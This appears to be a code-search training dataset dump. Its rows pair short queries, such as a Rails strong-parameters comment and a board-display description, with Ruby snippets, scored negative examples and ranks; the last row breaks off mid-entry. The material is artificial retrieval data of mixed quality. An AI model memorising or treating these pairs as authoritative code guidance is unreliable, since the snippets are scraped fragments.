query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Never trust parameters from the scary internet, only allow the white list through.
def unit_params params.permit(:start_time, :end_time, :day,:start_time_2,:end_time_2,:day_2,:has_time_2,:has_exam_date) params.require(:unit).permit(:exam_date, :capacity, :code , :professor_id , :course_id , :term_id, :detail) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
out the current state.
def display_board(board) divider="-"*11 for i in 0..8 do print " #{board[i]} " + ((2 == i%3)? "\n" :"|" ) if (2 == i%3 ) # print divider every 3 elements puts divider end #if end #for i end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def write_state; end", "def write_state; end", "def state_out(path:)\n add option: \"-state-out=#{path}\"\n end", "def pop_state\t\n\t\t\t@state_buffer = Proc.new do\n\t\t\t\t@objs2 = []\n\t\t\t\t@current_state = @states.pop\n\t\t\tend\n\t\tend", "def final_state(state)\n final_states(state)\n end", "def state\n @state\n end", "def state\n @state.last\n end", "def state\n @state.last\n end", "def state\n @state\n end", "def write_out_state\n if @options[:out_file]\n filename = @options[:out_file]\n else\n filename = @tmp_state\n end\n @log.debug \"Writing out state into #{filename}\"\n File.open(filename,'w') do |f|\n f.puts YAML.dump(@results)\n end\n end", "def state\n @current_state\n end", "def state\n @state\n end", "def read_state\n end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state\n @__state\n end", "def write_state\n logger.info \"Writing state back to #{configuration.state_file}\" do\n @run_context.write_state!\n end\n end", "def pop_state\n @state.pop\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def state\n return @state\n end", "def save_state\n return unless @state_writer\n\n @state_writer.call(@state)\n end", "def clear\n current_state.clear\n end", "def __state_internal\n @state\n end", "def state\n @state ||= getStateData()\n end", "def state\n end", "def out= out\n @out = out\n end", "def out= out\n @out = out\n end", "def current_state_string\n string = \"\"\n\n (@size * @size).times{ |i|\n if i % @size == 0\n string << \"\\n\\t\"\n end\n if @state[i]\n string << \"1 \"\n else\n string << \"0 \"\n end\n }\n string << \"\\n\"\n\n return string\n end", "def final_state\n aasm.states.last.name\n end", "def dump_state\n $log.debug \"State: [#{state.to_pretty_s}]\"\n end", "def states; end", "def to_s\r\n s = StringIO.new\r\n newstate = map\r\n @initstate.each_with_index do |sum, i|\r\n if sum != newstate[i]\r\n s.write \"*\"\r\n @initstate[i] = newstate[i]\r\n else\r\n s.write \".\"\r\n end\r\n end\r\n s.rewind;s.read()\r\n end", "def out\n @out\n end", "def enter_state\n end", "def dup_state\r\n @state.dup\r\n end", "def write_state(new_state)\n inputs_mask = 0\n @pins.each_with_index do |pin, i|\n inputs_mask = inputs_mask | 1 << i if pin.input?\n end\n # We use inputs_mask to make sure input pins are always set high\n # (even if they are reading low at the moment)\n @state = new_state\n ex \"i2cset -y #{@i2cbus} #{@addr} 0x#{(@state | inputs_mask).to_s(16)}\"\n end", "def sout(state)\n state = (state ? 0 : 1)\n cmd(\"SOUT#{state}\")\n end", "def peek_current_state\n peek_state.last || @current_state\n end", "def states\n peek_state\n if !@state_queue.empty?\n @current_state = @state_queue.last\n @state_queue,old = [],@state_queue\n old\n else\n []\n end\n end", "def clearState()\n\t\t\t@_previous_state = @_state\n\t\t\t@_state = nil\n\t\tend", "def to_states; end", "def to_states; end", "def clone_state\n if @stack.empty?\n {}\n else\n Marshal.load Marshal.dump(@stack.last)\n end\n end", "def clone_state\n if @stack.empty?\n {}\n else\n Marshal.load Marshal.dump(@stack.last)\n end\n end", "def final_state\n :closed\n end", "def state\n data.state\n end", "def state\n data.state\n end", "def states\n\t[:shelf,:in_use,:borrowed,:misplaced,:lost]\nend", "def output\n @output.clone\n end", "def state\n self.well_info.state\n end", "def save_state\n @saved_state = clone.to_hash\n @changed = {}\n end", "def save_state\n @saved_state = clone.to_hash\n @changed = {}\n end", "def states\n []\n end", "def states\n []\n end", "def state\n @actions << :state\n self.class.mocked_states.shift\n end", "def states\n @states ||= {}\n end", "def state_obj; @_hegemon_states[@_hegemon_state]; end", "def force_final_state\r\n @final_state = true\r\n end", "def state\n @@states[@state]\n end", "def out; end", "def save\n @saved = @state\n end", "def exit_state\n end", "def state\n State.instance\n end", "def clear_state\n @state.clear\n self\n end", "def state_objs; @_hegemon_states.clone; end", "def state\n @gameState.state\n end", "def current_state\n begin\n self.state = ContainerControl::Commands::State.run!(self).state\n rescue ContainerControl::Error\n self.state = :error\n end\n end", "def get_state\[email protected]\nend", "def switch_state state\n\t\t\t@state_buffer = Proc.new do\n\t\t\t\t@objs2 = []\n\t\t\t\t@current_state = state\n\t\t\t\t@current_state.setup\n\t\t\tend\n\t\tend", "def state(return_current = true)\n peek_state\n if @state_queue.empty?\n @current_state\n elsif return_current\n @current_state = @state_queue.last\n @state_queue.clear\n else\n @current_state = @state_queue.shift\n end\n @current_state\n end", "def fresh_state\n if state == :unknown\n current_state\n else\n state\n end\n end", "def state\n self[:ST]\n end", "def shift_out\n end", "def finished_states\n states - transitive_states\n end", "def state\n @state.first\n end", "def current_state\n find_state(@current_state_name)\n # TODO: add caching, i.e. with `@current_state ||= ...`\n end", "def state=matrix\n @current_state=matrix\n end", "def current_state_t(new_state=nil)\n self.current_state_s(new_state).t\n end", "def closure! \n\t\ttemp = new_state\n\t\tadd_transition(temp, @start, \"\")\n\t\t@start = temp\n\t\ttemp = new_state\n\t\[email protected] { |x| \n\t\tadd_transition(x, temp, \"\") \n\t\tset_final(x, false) }\n\t\t\n\t\t@final = {temp=>true}\n\t\tadd_transition(@start, temp, \"\")\n\t\tadd_transition(temp, @start, \"\")\n\t\[email protected](nil)\n\t\[email protected](nil)\n end", "def popState()\n\t\t\tif @_state_stack.empty? then\n\t\t\t\tif @_debug_flag then\n\t\t\t\t\t@_debug_stream.puts \"POPPING ON EMPTY STATE STACK.\\n\"\n\t\t\t\tend\n\t\t\t\traise \"empty state stack.\\n\"\n\t\t\telse\n\t\t\t\t@_state = @_state_stack.pop\n\t\t\t\tif @_debug_flag then\n\t\t\t\t\t@_debug_stream.puts \"POP TO STATE : %s\\n\" % @_state.getName\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def get_SaleState()\n \t return @outputs[\"SaleState\"]\n \tend", "def state()\n info[:state]\n end", "def reset_state_at_page_finish\n add_content(\"\\nQ\" * @state_stack.size)\n end", "def to_s\n \"#{name}#{state}\"\n end", "def current_state=(new_state)\n self[:current_state] = FFILib::ReaderStateQuery.pack_state new_state\n end", "def state\n board.state(index)\n end", "def current_state\r\n self.send(self.class.state_column).to_sym\r\n end" ]
[ "0.72624224", "0.72624224", "0.67279774", "0.6647568", "0.6577878", "0.6515", "0.6501546", "0.6501546", "0.64870685", "0.64463556", "0.64091253", "0.63802713", "0.6377393", "0.6373034", "0.6373034", "0.6373034", "0.6373034", "0.6373034", "0.6373034", "0.6373034", "0.6373034", "0.63588417", "0.63357276", "0.63319427", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6291798", "0.6253599", "0.61489815", "0.6142751", "0.6136017", "0.6085541", "0.60793364", "0.60793364", "0.6056536", "0.60543466", "0.6042507", "0.6021827", "0.60181546", "0.5969473", "0.59618485", "0.59367794", "0.5919291", "0.5914041", "0.59086084", "0.59047896", "0.5890506", "0.5868111", "0.5868111", "0.58546287", "0.58546287", "0.58488774", "0.5846599", "0.5846599", "0.5789343", "0.5766621", "0.57583034", "0.5757204", "0.5757204", "0.5716297", "0.5716297", "0.5704685", "0.5695442", "0.5682555", "0.56755996", "0.5672346", "0.5666186", "0.566341", "0.5661944", "0.5654881", "0.5652006", "0.564945", "0.5644302", "0.5621505", "0.56165785", "0.5607315", "0.5603241", "0.5599411", "0.55605537", "0.555558", "0.5549666", "0.5545457", "0.5540056", "0.5527195", "0.551189", "0.54918337", "0.54912037", "0.54883766", "0.5486058", "0.54764575", "0.5475445", "0.5460717", "0.5459995", "0.54597" ]
0.0
-1
Hash operation for storing a string into a "key"
def [](key) hash = hash(key) value = nil if File.exist?(File.join(@cache_dir, hash)) value = '' File.open(File.join(@cache_dir, hash), 'rb') { |f| value += f.read } end return value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hash(key); end", "def str_hash(key)\n key.bytes.inject(&:+)\n end", "def hashify(key)\n array = key.split('')\n count = array.count\n index = array.inject(0) do |object,char|\n object += char.ord ** count\n count -= 1\n object\n end\n index % 89\n end", "def key_for_string str\n Digest::MD5.hexdigest(str).to_i(16) & KEY_MAX\n end", "def gen_key(string_key)\n b_key = self._hash_digest(string_key)\n return self._hash_val(b_key) { |x| x }\n end", "def hashify(key)\n array = key.split('')\n count = array.count\n array.inject(0) do |object,char|\n object += char.ord ** count\n count -= 1\n object\n end\n end", "def hash_key(name); end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def str_to_key( str )\n @key_hash[ str ]\n end", "def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end", "def dave(new_str)\r\n new_hash = Digest::SHA256.hexdigest new_str\r\n return new_hash\r\nend", "def hash(*) end", "def hard(string)\n hasher = KnotHash.new(256, string.bytes + [17, 31, 73, 47, 23])\n 64.times { hasher.round }\n hasher.hash\nend", "def hashify(string)\n string.to_s.underscore.to_sym\nend", "def get_hash(input)\n return $hasher.reset.update(input).to_s\nend", "def hash_key(key, options = T.unsafe(nil)); end", "def hash\n @string.hash\n end", "def hash\n @string.hash\n end", "def hash\n @string.hash\n end", "def Hash_Func( str )\n hash = 0\n i = 0\n while i < str.length\n c = str[i]\n hash = hash * 31 + c.ord\n i = i + 1\n end\n hash = hash.abs\n return PaddGUID( hash )\n end", "def hash(key)\n\t\tascii_keys = [] \n\t\tkey.to_s.each_byte { |el| ascii_keys << el }\n\t\tascii_keys.map { |el| el.to_s }.join('')\n\tend", "def gen_key( string )\n md5 = Digest::MD5.hexdigest( string )\n return md5[0, 3] + md5[29, 31]\nend", "def hashFromString(str)\n\t\tstr = str[2..-1] if str.start_with?(\"0x\")\n\t\tstr = str.to_s[0..maxStringLength-1]\n\t\thash = Integer(\"0x\" + str)\n\tend", "def _key(*args); args.hash; end", "def geohash(key, member); end", "def index(key, size)\n MurmurHash3::V32.str_hash(key.to_s, size) % size\n end", "def insist_key(*args)\n self.to_s + ':' + Digest::SHA1.hexdigest(args.join(','))\n end", "def index(key, size)\n ascii_value = 0\n hash_key = 0\n\n key.split(\"\").each do |letter|\n ascii_value += letter.ord #Method to retrieve ascii\n end\n\n hash_key = ascii_value % size\n\n return hash_key\n end", "def hash_code(str)\n str.each_char.reduce(0) do |result, char|\n [((result << 5) - result) + char.ord].pack('L').unpack('l').first\n end\n end", "def hash_key(key)\n key.downcase\n end", "def _hash_digest(key)\n m = Digest::MD5.new\n m.update(key)\n\n # No need to ord each item since ordinary array access\n # of a string in Ruby converts to ordinal value\n return m.digest\n end", "def secure_hash(string)\n\t Digest::SHA2.hexdigest(string)\n\tend", "def get_pre_keyed_hash(password)\n md = OpenSSL::Digest::SHA1.new\n passwd_bytes = []\n password.unpack('c*').each do |byte|\n passwd_bytes << (byte >> 8)\n passwd_bytes << byte\n end\n md << passwd_bytes.pack('c*')\n md << 'Mighty Aphrodite'.force_encoding('UTF-8')\n md\n end", "def fnvhash( key, len=key.length )\n state = 0x811C9DC5\n\n len.times{ |i|\n state ^= key[i]\n state *= 0x1000193\n }\n\n return state\nend", "def hash=(_arg0); end", "def hash\n swap\n scatter\n completed_string\n end", "def djbhash( key, len=key.length )\n state = 5381\n \n len.times{ |i|\n state = ((state << 5) + state) + key[i]\n }\n return state\nend", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def hashkey_calculation(query)\n validate(query)\n query += '&' + api_key.to_s\n Digest::SHA1.hexdigest(query)\n end", "def index(key, size)\n hash_code = 0\n array_of_characters = key.split('')\n array_of_characters.each do |letter|\n hash_code += letter.ord\n end\n hash_code % size\n end", "def bphash( key, len=key.length )\n state = 0\n \n len.times{ |i|\n state = state << 7 ^ key[i]\n }\n return state\nend", "def secure_hash(string)\n\t\t\tDigest::SHA2.hexdigest(string)\n\t\tend", "def get_hash(key)\n (Zlib.crc32(key).abs % 100).to_s(36)\n end", "def get_hash(s)\r\n\t\tvals = s.unpack('U*').map {|x| ((x ** 2000) * ((x + 2) ** 21) - ((x + 5) ** 3))}\r\n\t\tvals = vals.inject(0, :+) % 65536\r\n\t\treturn vals.to_s(16)\r\n\tend", "def hashfunction(key, size)\n #key.hash % size\n key % size\n end", "def compute_hashkey api_key, params\n joined_params = params.sort.map do |k,v|\n \"#{k}=#{v}\"\n end.join(JOIN_CHAR)\n Digest::SHA1.hexdigest \"#{joined_params}#{JOIN_CHAR}#{api_key}\"\n end", "def get_lh_hash(key)\n res = 0\n key.upcase.bytes do |byte|\n res *= 37\n res += byte.ord\n end\n return res % 0x100000000\n end", "def key_for(data)\n data.hash\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def test_hash_empty_string\n knot = KnotHash.new\n assert_equal \"a2582a3a0e66e6e86e3812dcb672a272\", knot.hash('')\n end", "def rehash() end", "def gen_key(record)\n return Digest::SHA2.hexdigest(record.to_s)\n end", "def keccak(string)\n Keccak.hexdigest string, 1088, 512, 256\n end", "def cypher_hash(cypher_string)\n cypher_string.hash.abs\n end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def aphash( key, len=key.length )\n state = 0xAAAAAAAA\n len.times{ |i|\n if (i & 1) == 0\n state ^= (state << 7) ^ key[i] * (state >> 3)\n else\n state ^= ~( (state << 11) + key[i] ^ (state >> 5) )\n end\n }\n return state\nend", "def get_hash(str, elem_num)\n tmp = 0\n s = str.unpack(\"C*\")\n for i in 1..s.size\n tmp += s[i-1]\n end\n return tmp % elem_num\n end", "def hash_encode(i)\n @hasher.encode i\n end", "def encrypt(string)\n Digest::SHA1.hexdigest(string)\n end", "def encrypt(string)\n Digest::SHA1.hexdigest(string)\n end", "def default_hash_function(plain_token)\n ::Digest::SHA256.hexdigest plain_token\n end", "def hash_key(style_name = default_style)\n raise ArgumentError, \"Unable to generate hash without :hash_secret\" unless @options[:hash_secret]\n\n require \"openssl\" unless defined?(OpenSSL)\n data = interpolate(@options[:hash_data], style_name)\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@options[:hash_digest]).new, @options[:hash_secret], data)\n end", "def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end", "def hash99999\n return nil unless @parts\n\n k = construct\n return nil unless k\n\n Digest::SHA256.hexdigest(construct[0..-6] << '99999')[0..23]\n end", "def jshash( key, len=key.length )\n state = 1315423911\n len.times{ |i|\n state ^= ( ( state << 5 ) + key[i] + ( state >> 2 ) )\n }\n return state\nend", "def dhash t\n case t\n when nil; dhash(\"nil\")\n when true; dhash(\"true\")\n when false; dhash(\"false\")\n when Integer; dhash([t].pack(\"Q>\"))\n when Float; dhash([t].pack(\"G\"))\n when String; SipHash.digest(sip_key, t)\n when Symbol; dhash(t.to_s)\n when Array; dhash(t.map {|ti| dhash(ti)}.join)\n when Hash; t.inject(0) {|acc,(k,v)| acc ^ dhash([k,v]) }\n else raise ArgumentError, \"cannot hash #{t.inspect}\"\n end\n end", "def create_url_key(str, url_key_field, klass)\n str = UrlKey.escape(str)\n str = rand(30000).to_s(36) if str.length < 1\n key = str\n counter = 1\n until klass.find(:all, :conditions => [\"#{url_key_field} = ?\", key]).empty?\n key = \"#{str}-#{counter}\"\n counter += 1\n end\n\n key\n end", "def computed_sha(string)\n provider.computed_sha(string)\n end", "def make_key t\n (sig_key(t) + sum_key(t))[0..MAX_KEY_SIZE].sub(/\\0+\\z/, \"\")\n end", "def generateKey(string)\r\n key = {}\r\n stringIterator = 0\r\n\r\n (string.length).times do\r\n charactersIterator = string[stringIterator] - 1\r\n divisorsIterator = 0\r\n divisors = {} # Possible divisors of the array's numbers\r\n\r\n # Check which numbers are possible divisors\r\n while charactersIterator > 0\r\n\r\n if string[stringIterator] % charactersIterator == 0\r\n divisors[divisorsIterator] = charactersIterator\r\n divisorsIterator += 1\r\n end\r\n charactersIterator -= 1\r\n end\r\n key[stringIterator] = divisors[rand(divisors.length)] # Choosing random divisor to be the 